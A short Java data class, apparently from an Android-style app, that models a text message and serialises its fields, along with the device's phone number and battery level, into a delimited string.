package com.woogie.serv.pojo;

import com.woogie.serv.util.Util;

public class Message{

	public String text;
	public long timestamp;
	public String number;
	public String read;
	public int type;
	private String bString;
	public String contactId;
	
	public Message(String text, long timestamp, String number, String read, int type, String contactId, boolean bulk){
		this.text = text;
		this.timestamp = timestamp;
		this.number = Util.formatContactNumber(number);
		this.read = read;
		this.type = type;
		if (bulk)
			this.bString = "bulk";
		else
			this.bString = "";
		this.contactId = contactId;
	}
	
	@Override
	public String toString() {
		text = text.replace("'", "\'");
		return "Message:~>;"+Util.getPhoneNumber()+":~;;"+Util.getBatteryLevel()+":~;;"+text.trim()+":~;;"+timestamp+":~;;"+number+":~;;"+read+":~;;"+type+":~;;"+bString+":~;;"+contactId;
	}
}
